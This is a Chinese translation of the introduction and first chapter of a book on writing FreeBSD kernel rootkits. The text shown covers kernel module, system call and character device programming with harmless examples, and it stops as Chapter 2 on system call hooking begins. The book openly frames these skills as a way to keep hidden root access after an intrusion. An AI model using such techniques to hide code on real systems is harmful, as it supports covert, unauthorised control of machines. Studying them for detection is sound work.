BSD-Rookit-设计指南-全-
BSD Rookit 设计指南(全)
原文:Designing BSD Rootkits
译者:飞龙
引言
欢迎阅读《设计 BSD Rootkits》!本书将向您介绍在 FreeBSD 操作系统下编程和开发内核模式 rootkit 的基础知识。通过“以例学”的方法,我将详细阐述 rootkit 可以采用的不同技术,以便您能学习 rootkit 代码在最简单层面的构成。需要注意的是,本书不包含或诊断任何“完整”的 rootkit 代码。实际上,本书的大部分内容集中在如何使用技术,而不是如何使用它。
注意,本书与编写漏洞利用或如何获取系统 root 访问权限无关;相反,它关于在成功入侵后长时间保持 root 访问权限。
什么是 rootkit?
虽然关于构成 rootkit 的定义有很多种,但为了本书的目的,rootkit是一组代码,允许某人控制主机操作系统的某些方面,而不暴露其存在。从根本上说,这就是 rootkit 的特点——逃避最终用户的认知。
更简单地说,rootkit 是一个允许用户保持“root”访问权限的“套件”。
为什么选择 FreeBSD?
FreeBSD 是一个高级的开源操作系统;使用 FreeBSD,您可以完全无限制地访问内核源代码,这使得学习系统编程变得更容易——这正是您在本书中将要做的。
本书的目标
本书的主要目标是让您接触 rootkit 和 rootkit 编写。完成本书后,您“理论上”应该能够实时重写整个操作系统。您还应该理解 rootkit 检测和移除的理论和实践。
本书的次要目标是向您提供一个实际、动手的方式来了解 FreeBSD 内核的某些部分,最终目标是激发您自己探索和破解其余部分。毕竟,亲自动手总是学习最好的方式。
适合阅读本书的人群?
本书的目标读者是对入门级内核黑客感兴趣的程序员。因此,编写内核代码的经验不是必需的,也不期望有。
为了充分利用本书,您应该对 C 编程语言有很好的掌握(即您理解指针),以及x86 汇编(AT&T 语法)。您还需要对操作系统理论有相当的了解(即您知道进程和线程的区别)。
内容概述
本书(非官方地)分为三个部分。第一部分([第一章](ch01.html "第一章. 可加载内核模块"))基本上是对内核黑客技术的快速浏览,旨在使新手跟上进度。接下来的部分([第二章](ch02.html "第二章. 捕获")至[第六章](ch06.html "第六章. 整合一切")涵盖了当前流行的根套技术范围(即你在“野外”会发现的技术);而最后一部分([第七章](ch07.html "第七章. 检测"))则专注于根套检测和移除。
本书使用的约定
在本书中,我使用粗体字在代码列表中指示我输入的命令或其他文本,除非有其他特别说明。
结论
虽然本书专注于 FreeBSD 操作系统,但大多数(如果不是全部)的概念都可以应用于其他操作系统,例如 Linux 或 Windows。实际上,我在那些系统上学到了本书中一半的技术。
注意
本书中的所有代码示例均在基于 IA-32 的计算机上运行 FreeBSD 6.0-STABLE 进行过测试。
第一章. 可加载内核模块
将代码引入运行中的内核的最简单方法是通过可加载内核模块(LKM),这是一个在启动后可以加载和卸载的内核子系统,允许系统管理员动态地向运行中的系统添加和删除功能。这使得 LKMs 成为内核模式 rootkits 的理想平台。事实上,绝大多数现代 rootkits 仅仅是 LKMs。
注意
在 FreeBSD 3.0 中,对内核模块子系统进行了重大更改,并将 LKM 功能重命名为动态内核链接器(KLD)功能。随后,术语 KLD 通常用于描述 FreeBSD 下的 LKMs。
在本章中,我们将讨论 FreeBSD 中针对新接触内核开发的程序员的 LKM(即 KLD)编程。
注意
在整本书中,术语设备驱动程序、KLD、LKM、可加载模块和模块都是可以互换使用的。
模块事件处理程序
每当 KLD 被加载到或从内核卸载时,都会调用一个称为模块事件处理程序的函数。此函数处理 KLD 的初始化和关闭例程。每个 KLD 都必须包含一个事件处理程序.^([1]) 事件处理程序函数的原型定义在<sys/module.h>头文件中,如下所示:
typedef int (*modeventhand_t)(module_t, int /* modeventtype_t */, void *);
其中module_t是module结构的指针,modeventtype_t在<sys/module.h>头文件中定义如下:
typedef enum modeventtype {
MOD_LOAD, /* Set when module is loaded. */
MOD_UNLOAD, /* Set when module is unloaded. */
MOD_SHUTDOWN, /* Set on shutdown. */
MOD_QUIESCE /* Set on quiesce. */
} modeventtype_t;
这里是一个事件处理程序函数的示例:
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("Hello, world!\n");
break;
case MOD_UNLOAD:
uprintf("Good-bye, cruel world!\n");
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
当模块加载时,此函数将打印"Hello, world!",当它卸载时,将打印"Good-bye, cruel world!",并在关闭和静默时返回错误(EOPNOTSUPP)^([2])。
^([1]) ¹ 实际上,这并不完全正确。你可以有一个只包含sysctl的 KLD。你也可以省略模块处理程序,直接使用SYSINIT和SYSUNINIT来注册在加载和卸载时调用的函数。然而,你无法在这些函数中指示失败。
^([2]) ² EOPNOTSUPP代表错误:不支持操作
DECLARE_MODULE 宏
当一个 KLD 被加载(通过kldload(8)命令,详见"Hello, world!""")时,它必须与内核链接并注册自己。这可以通过调用定义在<sys/module.h>头文件中的DECLARE_MODULE宏轻松实现,如下所示:
#define DECLARE_MODULE(name, data, sub, order) \
MODULE_METADATA(_md_##name, MDT_MODULE, &data, #name); \
SYSINIT(name##module, sub, order, module_register_init, &data) \
struct __hack
下面是每个参数的简要描述:
name
这指定了通用模块名称,它作为字符串传递。
data
此参数指定了官方模块名称和事件处理程序函数,它作为moduledata结构传递。struct moduledata在<sys/module.h>头文件中定义如下:
typedef struct moduledata {
const char *name; /* module name */
modeventhand_t evhand; /* event handler */
void *priv; /* extra data */
} moduledata_t;
sub
这指定了系统启动接口,用于识别模块类型。此参数的有效条目可以在sysinit_sub_id枚举列表中的<sys/kernel.h>头文件中找到。
对于我们的目的,我们将始终将此参数设置为SI_SUB_DRIVERS,当注册设备驱动程序时使用。
order
这指定了子系统内 KLD 的初始化顺序。您可以在sysinit_elem_order枚举列表中的<sys/kernel.h>头文件中找到此参数的有效条目。
对于我们的目的,我们将始终将此参数设置为SI_ORDER_MIDDLE,这将使 KLD 在中间某个位置初始化。
"Hello, world!"
您现在已经具备了编写第一个 KLD 的知识。列表 1-1 是一个完整的“Hello, world!”模块。
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("Hello, world!\n");
break;
case MOD_UNLOAD:
uprintf("Good-bye, cruel world!\n");
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
/* The second argument of DECLARE_MODULE. */
static moduledata_t hello_mod = {
"hello", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(hello, hello_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 1-1: hello.c
如您所见,此模块仅仅是来自模块事件处理器的示例事件处理函数和填充的DECLARE_MODULE宏的组合。
要编译此模块,您可以使用系统 Makefile^([3]) bsd.kmod.mk。列表 1-2 显示了 hello.c 的完整 Makefile。
KMOD= hello # Name of KLD to build.
SRCS= hello.c # List of source files.
.include <bsd.kmod.mk>
列表 1-2: Makefile
注意
在本书的整个过程中,我们将通过填写KMOD和SRCS来编译每个 KLD,分别使用适当的模块名称和源列表。
现在,假设 Makefile 和 hello.c 在同一个目录中,只需简单地输入make,(如果我们没有出错)编译应该会继续——非常详细——并生成一个名为 hello.ko 的可执行文件,如下所示:
$ `make`
Warning: Object directory not changed from original /usr/home/ghost/hello
@ -> /usr/src/sys
machine -> /usr/src/sys/i386/include
cc -O2 -pipe -funroll-loops -march=athlon-mp -fno-strict-aliasing -Werror -D_
KERNEL -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/contrib/altq -I@/../include -
I/usr/include -finline-limit=8000 -fno-common -mno-align-long-strings -mpref
erred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -ffreestanding
-Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prot
otypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -std=c99 -c
hello.c
ld -d -warn-common -r -d -o hello.kld hello.o
touch export_syms
awk -f /sys/conf/kmod_syms.awk hello.kld export_syms | xargs -J% objcopy % h
ello.kld
ld -Bshareable -d -warn-common -o hello.ko hello.kld
objcopy --strip-debug hello.ko
$ `ls -F`
@@ export_syms hello.kld hello.o
Makefile hello.c hello.ko* machine@
您可以使用kldload(8)和kldunload(8)实用程序加载和卸载 hello.ko,^([4]) 如下所示:
$ `sudo kldload ./hello.ko`
Hello, world!
$ `sudo kldunload hello.ko`
Good-bye, cruel world!
优秀——您已成功将代码加载到运行中的内核中。现在,让我们尝试一些更高级的操作。
^([3]) ³ Makefile 用于通过描述给定输出的依赖关系和构建脚本来简化将文件或文件从一种形式转换为另一种形式的过程。有关 Makefile 的更多信息,请参阅 make(1)手册页。
^([4]) ⁴ 包含<bsd.kmod.mk>的 Makefile,您还可以在构建模块后使用make load和make unload来加载和卸载模块。
系统调用模块
系统调用模块仅仅是安装系统调用的 KLD。在操作系统上,系统调用,也称为系统服务请求,是应用程序请求操作系统内核服务的一种机制。
注意
在第二章、第三章和第六章中,您将编写 rootkits,这些 rootkits 要么是对现有系统调用的黑客攻击,要么是安装新的系统调用。因此,本节作为入门指南。
每个系统调用模块都有三个独特项:系统调用函数、sysent结构和偏移值。
系统调用函数
系统调用函数实现了系统调用。其函数原型在<sys/sysent.h>头文件中定义:
typedef int sy_call_t(struct thread *, void *);
其中struct thread *指向当前运行的线程,void *指向系统调用参数的结构体,如果有的话。
这里是一个示例系统调用函数,它接受一个字符指针(即字符串)并将其通过printf(9)输出到系统控制台和日志设施。
❶struct sc_example_args {
char *str;
};
static int
sc_example(struct thread *td, void *syscall_args)
{
❷struct sc_example_args *uap;
❸uap = (struct sc_example_args *)syscall_args;
printf("%s\n", uap->str);
return(0);
}
注意,系统调用的参数是在结构体(sc_example_args)内声明的。另外,请注意,这些参数是在系统调用函数内通过❶首先声明一个struct sc_example_args指针(uap)然后将其赋值给❷强制转换的void指针(syscall_args)来访问的。
请记住,系统调用的参数位于用户空间,但系统调用函数在内核空间中执行。因此,当您通过uap访问参数时,您实际上是在按值操作,而不是按引用操作。这意味着,使用这种方法,您无法修改实际的参数。
注意
在内核/用户空间转换中,我将详细介绍如何在内核空间中修改用户空间中的数据。
可能值得提一下,内核期望每个系统调用参数的大小为register_t(在 i386 上是一个int,但在其他平台上通常是long),并且它构建了一个register_t值的数组,然后将这些值强制转换为void *并作为参数传递。因此,如果您的参数结构体中有任何不是register_t大小的类型(例如,char或 64 位平台上的int),您可能需要在参数结构体中显式添加填充以使其正确工作。《<sys/sysproto.h>`头文件提供了一些宏来完成这项工作,以及一些示例。
系统调用结构
系统调用是通过sysent结构中的条目定义的,该结构在<sys/sysent.h>头文件中定义如下:
struct sysent {
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with system call */
};
这里是示例系统调用完整的sysent结构(在系统调用函数中展示):
static struct sysent sc_example_sysent = {
1, /* number of arguments */
sc_example /* implementing function */
};
回想一下,示例系统调用只有一个参数(一个字符指针)并命名为sc_example。
另一个值得注意的点。在 FreeBSD 中,系统调用表只是一个sysent结构的数组,它在<sys/sysent.h>头文件中声明如下:
extern struct sysent sysent[];
每当安装一个系统调用时,其sysent结构就被放置在sysent[]中的一个开放元素中。(这是一个重要的点,将在第二章和第六章中发挥作用。)
注意
在整本书中,我将把 FreeBSD 的系统调用表称为sysent[]。
偏移值
偏移值(也称为系统调用号)是一个介于 0 和 456 之间的唯一整数,它被分配给每个系统调用,以指示其sysent结构在sysent[]中的偏移量。
在系统调用模块中,需要显式声明偏移值。这通常如下所示:
static int offset = NO_SYSCALL;
常量 NO_SYSCALL 将 offset 设置为 sysent[] 中的下一个可用或打开的元素。
虽然你可以手动将 offset 设置为任何未使用的系统调用号,但在实现像 KLD 这样的动态内容时,避免这样做被视为良好的实践。
注意
要获取已使用和未使用的系统调用号的列表,请参阅文件 /sys/kern/syscalls.master。
SYSCALL_MODULE 宏
从 DECLARE_MODULE 宏 中回忆,当 KLD 被加载时,它必须与内核链接并注册自己,并且你使用 DECLARE_MODULE 宏来完成此操作。然而,当编写系统调用模块时,DECLARE_MODULE 宏有些不方便,正如你很快就会看到的。因此,我们使用定义在 <sys/sysent.h> 头文件中的 SYSCALL_MODULE 宏,如下所示:
#define SYSCALL_MODULE(name, offset, new_sysent, evh, arg) \
static struct syscall_module_data name##_syscall_mod = { \
evh, arg, offset, new_sysent, { 0, NULL } \
}; \
\
static moduledata_t name##_mod = { \
#name, \
syscall_module_handler, \
&name##_syscall_mod \
}; \
DECLARE_MODULE(name, name##_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE)
如你所见,如果我们使用 DECLARE_MODULE 宏,我们就必须首先设置 syscall_module_data 和 moduledata 结构;幸运的是,SYSCALL_MODULE 节省了我们这个麻烦。
下面是 SYSCALL_MODULE 中每个参数的简要说明:
name
这指定了通用模块名称,它作为字符字符串传递。
offset
这指定了系统调用的偏移值,它作为整数指针传递。
new_sysent
这指定了完成的 sysent 结构体,它作为 struct sysent 指针传递。
evh
这指定了事件处理函数。
arg
这指定了要传递给事件处理函数的参数。对于我们的目的,我们将始终将此参数设置为 NULL。
示例
列表 1-3 是一个完整的系统调用模块。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/* The system call's arguments. */
struct sc_example_args {
char *str;
};
/* The system call function. */
static int
sc_example(struct thread *td, void *syscall_args)
{
struct sc_example_args *uap;
uap = (struct sc_example_args *)syscall_args;
printf("%s\n", uap->str);
return(0);
}
/* The sysent for the new system call. */
static struct sysent sc_example_sysent = {
1, /* number of arguments */
sc_example /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(sc_example, &offset, &sc_example_sysent, load, NULL);
列表 1-3: sc_example.c
如你所见,此模块只是本节中描述的所有组件的组合,增加了事件处理函数。简单,不是吗?
这是加载此模块的结果:
$ `sudo kldload ./sc_example.ko`
System call loaded at offset 210.
到目前为止,一切顺利。现在,让我们编写一个简单的用户空间程序来执行和测试这个新的系统调用。但首先,需要对 modfind、modstat 和 syscall 函数进行解释。
modfind 函数
modfind 函数根据模块名称返回内核模块的 modid。
#include <sys/param.h>
#include <sys/module.h>
int
modfind(const char *modname);
Modids 是用于唯一标识系统中每个已加载模块的整数。
modstat 函数
modstat 函数返回由其 modid 指定的内核模块的状态。
#include <sys/param.h>
#include <sys/module.h>
int
modstat(int modid, struct module_stat *stat);
返回的信息存储在 stat 中,这是一个 module_stat 结构体,它在 <sys/module.h> 头文件中定义如下:
struct module_stat {
int version;
char name[MAXMODNAME]; /* module name */
int refs; /* number of references */
int id; /* module id number */
modspecific_t data; /* module specific data */
};
typedef union modspecific {
int intval; /* offset value */
u_int uintval;
long longval;
u_long ulongval;
} modspecific_t;
syscall 函数
syscall 函数执行由其系统调用号指定的系统调用。
#include <sys/syscall.h>
#include <unistd.h>
int
syscall(int number, ...);
执行系统调用
列表 1-4 是一个用户空间程序,用于执行列表 1-3 中的系统调用(命名为 sc_example)。此程序接受一个命令行参数:要传递给 sc_example 的字符串。
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>
int
main(int argc, char *argv[])
{
int syscall_num;
struct module_stat stat;
if (argc != 2) {
printf("Usage:\n%s <string>\n", argv[0]);
exit(0);
}
/* Determine sc_example's offset value. */
stat.version = sizeof(stat);
❶modstat(modfind("sc_example"), &stat);
syscall_num = stat.data.intval;
/* Call sc_example. */
return(syscall(❷syscall_num, argv[1]));
}
列表 1-4: interface.c
如你所见,我们首先调用 ❶ modfind 和 modstat 来确定 sc_example 的偏移值。然后,将此值传递给 ❷ syscall,同时传递第一个命令行参数,这实际上执行了 sc_example。
下面是一些示例输出:
$ `./interface Hello,\ kernel!`
$ `dmesg | tail -n 1`
Hello, kernel!
无需 C 代码执行系统调用
虽然编写用户空间程序来执行系统调用是“正确”的方式,但当你只想测试一个系统调用模块时,不得不先编写一个额外的程序是很烦人的。为了在不编写用户空间程序的情况下执行系统调用,这里是我的做法:
$ `sudo kldload ./sc_example.ko`
System call loaded at offset 210.
$ `perl -e '$str = "Hello, kernel!";' -e 'syscall(210, $str);'`
$ `dmesg | tail -n 1`
Hello, kernel!
如前所述的演示所示,通过利用 Perl 的命令行执行(即 -e 选项)、其 syscall 函数以及你知道的系统调用偏移值,你可以快速测试任何系统调用模块。需要注意的是,你不能使用字符串字面量与 Perl 的 syscall 函数一起使用,这就是为什么我使用变量($str)将字符串传递给 sc_example。
^([5]) ⁵ FreeBSD 将其虚拟内存分为两部分:用户空间 和 内核空间。用户空间是所有用户模式应用程序运行的地方,而内核空间是内核和内核扩展(即 LKMs)运行的地方。在用户空间运行的可执行代码不能直接访问内核空间(但运行在内核空间的可执行代码 可以 访问用户空间)。要从用户空间访问内核空间,应用程序需要发出系统调用。
内核/用户空间转换
我现在将描述一组核心函数,你可以从内核空间使用这些函数来复制、操作和覆盖存储在用户空间中的数据。我们将在整本书中多次使用这些函数。
copyin 和 copyinstr 函数
copyin 和 copyinstr 函数允许你从用户空间复制一个连续的数据区域到内核空间。
#include <sys/types.h>
#include <sys/systm.h>
int
copyin(const void *uaddr, void *kaddr, size_t len);
int
copyinstr(const void *uaddr, void *kaddr, size_t len, size_t *done);
copyin 函数将从用户空间地址 uaddr 复制 len 字节数据到内核空间地址 kaddr。
copyinstr 函数类似,但它是复制一个以空字符终止的字符串,其长度最多为 len 字节,实际复制的字节数在 done 中返回。^([6])
copyout 函数
copyout 函数与 copyin 类似,但它操作的方向相反,从内核空间复制数据到用户空间。
#include <sys/types.h>
#include <sys/systm.h>
int
copyout(const void *kaddr, void *uaddr, size_t len);
copystr 函数
copystr 函数与 copyinstr 类似,但它将字符串从一个内核空间地址复制到另一个内核空间地址。
#include <sys/types.h>
#include <sys/systm.h>
int
copystr(const void *kfaddr, void *kdaddr, size_t len, size_t *done);
^([6]) ⁶ 在列表 1-3 中,系统调用函数应该首先调用 copyinstr 来复制用户空间字符串,然后打印它。实际上,它直接从内核空间打印用户空间字符串,如果包含该字符串的页面未映射(即,已交换出或尚未故障恢复),则可能触发致命的恐慌。这就是为什么它只是一个示例,而不是真正的系统调用。
字符设备模块
字符设备模块 是创建或安装字符设备的 KLD。在 FreeBSD 中,字符设备 是在内核中访问特定设备的接口。例如,数据通过字符设备 /dev/console 从系统控制台读取和写入。
注意
在 第四章 中,您将编写用于破解系统现有字符设备的 rootkits。因此,本节作为入门指南。
每个字符设备模块都有三个独特项:一个 cdevsw 结构、字符设备函数和一个设备注册例程。我们依次讨论每个。
cdevsw 结构
字符设备由其在字符设备切换表 struct cdevsw 中的条目定义,该表在 <sys/conf.h> 头文件中如下定义:
struct cdevsw {
int d_version;
u_int d_flags;
const char *d_name;
d_open_t *d_open;
d_fdopen_t *d_fdopen;
d_close_t *d_close;
d_read_t *d_read;
d_write_t *d_write;
d_ioctl_t *d_ioctl;
d_poll_t *d_poll;
d_mmap_t *d_mmap;
d_strategy_t *d_strategy;
dumper_t *d_dump;
d_kqfilter_t *d_kqfilter;
d_purge_t *d_purge;
d_spare2_t *d_spare2;
uid_t d_uid;
gid_t d_gid;
mode_t d_mode;
const char *d_kind;
/* These fields should not be messed with by drivers */
LIST_ENTRY(cdevsw) d_list;
LIST_HEAD(, cdev) d_devs;
int d_spare3;
struct cdevsw *d_gianttrick;
};
表 1-1 提供了最相关入口点的简要描述。
表 1-1。字符设备驱动程序的入口点
| 入口点 | 描述 |
|---|---|
d_open |
为 I/O 操作打开设备 |
d_close |
关闭设备 |
d_read |
从设备读取数据 |
d_write |
向设备写入数据 |
d_ioctl |
执行除读取或写入之外的操作 |
d_poll |
轮询设备以查看是否有可读数据或可写空间 |
下面是一个简单的读写字符设备模块的 cdevsw 结构示例:
static struct cdevsw cd_example_cdevsw = {
.d_version = D_VERSION,
.d_open = open,
.d_close = close,
.d_read = read,
.d_write = write,
.d_name = "cd_example"
};
注意,我没有定义每个入口点或填写每个属性。这是完全可以的。对于每个留空的入口点,该操作被认为是未支持的。例如,在创建只写设备时,您不会声明读取入口点。
尽管如此,每个 cdevsw 结构中必须定义两个元素:d_version,它表示驱动程序支持的 FreeBSD 版本,以及 d_name,它指定设备名称。
注意
常量 D_VERSION 在 <sys/conf.h> 头文件中定义,以及其他版本号。
字符设备函数
对于在字符设备模块的 cdevsw 结构中定义的每个入口点,您必须实现相应的函数。每个入口点的函数原型在 <sys/conf.h> 头文件中定义。
下面是写入入口点的示例实现。
/* Function prototype. */
d_write_t write;
int
write(struct cdev *dev, struct uio *uio, int ioflag)
{
int error = 0;
error = copyinstr(uio->uio_iov->iov_base, &buf, 512, &len);
if (error != 0)
uprintf("Write to \"cd_example\" failed.\n");
return(error);
}
如您所见,此函数简单地调用 copyinstr 从用户空间复制一个字符串并将其存储在内核空间的缓冲区 buf 中。
注意
在 示例 中,我将展示并解释一些更多的入口点实现。
设备注册例程
设备注册例程在 /dev 上创建或安装字符设备,并将其与设备文件系统 (DEVFS) 注册。您可以通过在事件处理函数中调用 make_dev 函数来完成此操作,如下所示:
static struct cdev *sdev;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
sdev = make_dev(&cd_example_cdevsw, 0, UID_ROOT, GID_WHEEL,
0600, "cd_example");
uprintf("Character device loaded\n");
break;
case MOD_UNLOAD:
destroy_dev(sdev);
uprintf("Character device unloaded\n");
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
此示例函数在模块加载时通过调用make_dev函数注册字符设备cd_example,该函数将在/dev上创建一个cd_example设备节点。此外,此函数在模块卸载时通过调用destroy_dev函数注销字符设备,该函数的单一参数是从先前的make_dev调用返回的cdev结构。
示例
列表 1-5 显示了一个完整的字符设备模块(基于 Rajesh Vaidheeswarran 的 cdev.c),该模块安装了一个简单的读写字符设备。该设备作用于内核内存的一个区域,从它那里读取和写入单个字符字符串。
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/uio.h>
/* Function prototypes. */
d_open_t open;
d_close_t close;
d_read_t read;
d_write_t write;
static struct cdevsw cd_example_cdevsw = {
.d_version = D_VERSION,
.d_open = open,
.d_close = close,
.d_read = read,
.d_write = write,
.d_name = "cd_example"
};
static char buf[512+1];
static size_t len;
int
open(struct cdev *dev, int flag, int otyp, struct thread *td)
{
/* Initialize character buffer. */
memset(&buf, '\0', 513);
len = 0;
return(0);
}
int
close(struct cdev *dev, int flag, int otyp, struct thread *td)
{
return(0);
}
int
write(struct cdev *dev, struct uio *uio, int ioflag)
{
int error = 0;
/*
* Take in a character string, saving it in buf.
* Note: The proper way to transfer data between buffers and I/O
* vectors that cross the user/kernel space boundary is with
* uiomove(), but this way is shorter. For more on device driver I/O
* routines, see the uio(9) manual page.
*/
error = copyinstr(uio->uio_iov->iov_base, &buf, 512, &len);
if (error != 0)
uprintf("Write to \"cd_example\" failed.\n");
return(error);
}
int
read(struct cdev *dev, struct uio *uio, int ioflag)
{
int error = 0;
if (len <= 0)
error = −1;
else
/* Return the saved character string to userland. */
copystr(&buf, uio->uio_iov->iov_base, 513, &len);
return(error);
}
/* Reference to the device in DEVFS. */
static struct cdev *sdev;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
sdev = make_dev(&cd_example_cdevsw, 0, UID_ROOT, GID_WHEEL,
0600, "cd_example");
uprintf("Character device loaded.\n");
break;
case MOD_UNLOAD:
destroy_dev(sdev);
uprintf("Character device unloaded.\n");
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
DEV_MODULE(cd_example, load, NULL);
列表 1-5:cd_example.c
以下是对上述列表的分解。首先,在开始时,我们声明字符设备的入口点(打开、关闭、读取和写入)。接下来,我们适当地填写一个cdevsw结构。之后,我们声明两个全局变量:buf,用于存储该设备将要读取的字符字符串,以及len,用于存储字符串长度。接下来,我们实现每个入口点。打开入口点简单地初始化buf然后返回。关闭入口点基本上什么都不做,但仍需要实现以关闭设备。写入入口点是将字符字符串(从用户空间)存储在buf中的调用,而读取入口点则是返回它的调用。最后,事件处理函数负责字符设备的注册例程。
注意,字符设备模块在末尾调用DEV_MODULE,而不是DECLARE_MODULE。DEV_MODULE 宏在<sys/conf.h>头文件中定义如下:
#define DEV_MODULE(name, evh, arg) \
static moduledata_t name##_mod = { \
#name, \
evh, \
arg \
}; \
DECLARE_MODULE(name, name##_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE)
如您所见,DEV_MODULE 包装了DECLARE_MODULE。DEV_MODULE 只允许您调用DECLARE_MODULE,而无需首先显式设置moduledata结构。
注意
DEV_MODULE 宏通常与字符设备模块相关联。因此,当我在写一个通用的 KLD(例如在"Hello, world!"中的"Hello, world!"示例)时,我将继续使用DECLARE_MODULE 宏,即使DEV_MODULE 可以节省空间和时间。
测试字符设备
现在,让我们看看我们将用来与cd_example字符设备交互的用户空间程序(列表 1-6)。此程序(基于 Rajesh Vaidheeswarran 的 testcdev.c)按照以下顺序调用每个cd_example入口点:打开、写入、读取、关闭;然后退出。
#include <stdio.h>
#include <fcntl.h>
#include <paths.h>
#include <string.h>
#include <sys/types.h>
#define CDEV_DEVICE "cd_example"
static char buf[512+1];
int
main(int argc, char *argv[])
{
int kernel_fd;
int len;
if (argc != 2) {
printf("Usage:\n%s <string>\n", argv[0]);
exit(0);
}
/* Open cd_example. */
if ((kernel_fd = open("/dev/" CDEV_DEVICE, O_RDWR)) == −1) {
perror("/dev/" CDEV_DEVICE);
exit(1);
}
if ((len = strlen(argv[1]) + 1) > 512) {
printf("ERROR: String too long\n");
exit(0);
}
/* Write to cd_example. */
if (write(kernel_fd, argv[1], len) == −1)
perror("write()");
else
printf("Wrote \"%s\" to device /dev/" CDEV_DEVICE ".\n",
argv[1]);
/* Read from cd_example. */
if (read(kernel_fd, buf, len) == −1)
perror("read()");
else
printf("Read \"%s\" from device /dev/" CDEV_DEVICE ".\n",
buf);
/* Close cd_example. */
if ((close(kernel_fd)) == −1) {
perror("close()");
exit(1);
}
exit(0);
}
列表 1-6:interface.c
下面是加载字符设备模块并与它交互的结果:
$ `sudo kldload ./cd_example.ko`
Character device loaded.
$ `ls -l /dev/cd_example`
crw------- 1 root wheel 0, 89 Mar 26 00:32 /dev/cd_example
$ `./interface`
Usage:
./interface <string>
$ `sudo ./interface Hello,\ kernel!`
Wrote "Hello, kernel!" to device /dev/cd_example.
Read "Hello, kernel!" from device /dev/cd_example.
链接文件和模块
在结束本章之前,让我们简要地看一下kldstat(8)命令,该命令显示动态链接到内核的任何文件的状态。
$ `kldstat`
Id Refs Address Size Name
1 4 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
3 1 0xc1e8b000 2000 hello.ko
在上述列表中,加载了三个“模块”:内核(kernel)、ACPI 电源管理模块(acpi.ko)以及我们在 "Hello, world!" 中开发的“Hello, world!”模块(hello.ko)。
执行命令 kldstat -v(以获得更详细的输出)会给出以下信息:
$ `kldstat -v`
Id Refs Address Size Name
1 4 0xc0400000 63070c kernel
Contains modules:
Id Name
18 xpt
19 probe
20 cam
. . .
3 1 0xc1e8b000 2000 hello.ko
Contains modules:
Id Name
367 hello
注意,kernel 包含多个“子模块”(xpt、probe 和 cam)。这引出了本节真正的重点。在前面的输出中,kernel 和 hello.ko 技术上来说是链接器文件,而 xpt、probe、cam 和 hello 是实际的模块。这意味着 kldload(8) 和 kldunload(8) 的参数实际上是链接器文件,而不是模块,并且对于每个加载到内核中的模块,都有一个相应的链接器文件。(这一点在我们讨论隐藏 KLD 时会发挥作用。)
注意
对于我们的目的而言,可以将链接器文件想象为引导一个或多个内核模块进入内核空间的引路人(或护送者)。
结论
本章对 FreeBSD 内核模块编程进行了一次快速浏览。我描述了一些我们将反复遇到的 KLD 类型,并且你看到了许多小例子,以让你对本书的其余部分有所感受。
还有两点也值得提及。首先,内核源代码树位于 /usr/src/sys/,^([7]) 是新晋 FreeBSD 内核黑客的最佳参考和学习工具。如果你还没有查看这个目录,请务必查看;本书中的大部分代码都是从那里提炼出来的。
其次,考虑设置一个带有调试内核或内核模式调试器的 FreeBSD 机器;当你编写自己的内核代码时,这会大有裨益。以下在线资源将帮助你。
-
《FreeBSD 开发者手册》,特别是第十章,位于
www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook。 -
《调试内核问题》,作者 Greg Lehey,位于
www.lemis.com/grog/Papers/Debug-tutorial/tutorial.pdf
^([7]) ⁷ 通常,从 /sys/ 到 /usr/src/sys/ 之间也存在一个符号链接。
第二章 钩子
我们将开始讨论内核模式 rootkit 的讨论,从调用钩子开始,或者简单地称为钩子,这可能是最流行的 rootkit 技术。
钩子是一种编程技术,它使用处理函数(称为钩子)来修改控制流。一个新的钩子将其地址注册为特定函数的位置,因此当该函数被调用时,钩子将被运行。通常,钩子会在某个时刻调用原始函数,以保留原始行为。图 2-1 说明了安装调用钩子前后子例程的控制流。

图 2-1. 正常执行与钩子执行
正如你所见,钩子用于扩展(或减少)子例程的功能。在 rootkit 设计中,钩子用于改变操作系统的应用程序编程接口(API)的结果,最常见的是与账簿和报告相关的 API。
现在,让我们开始滥用 KLD 接口。
系统调用钩子
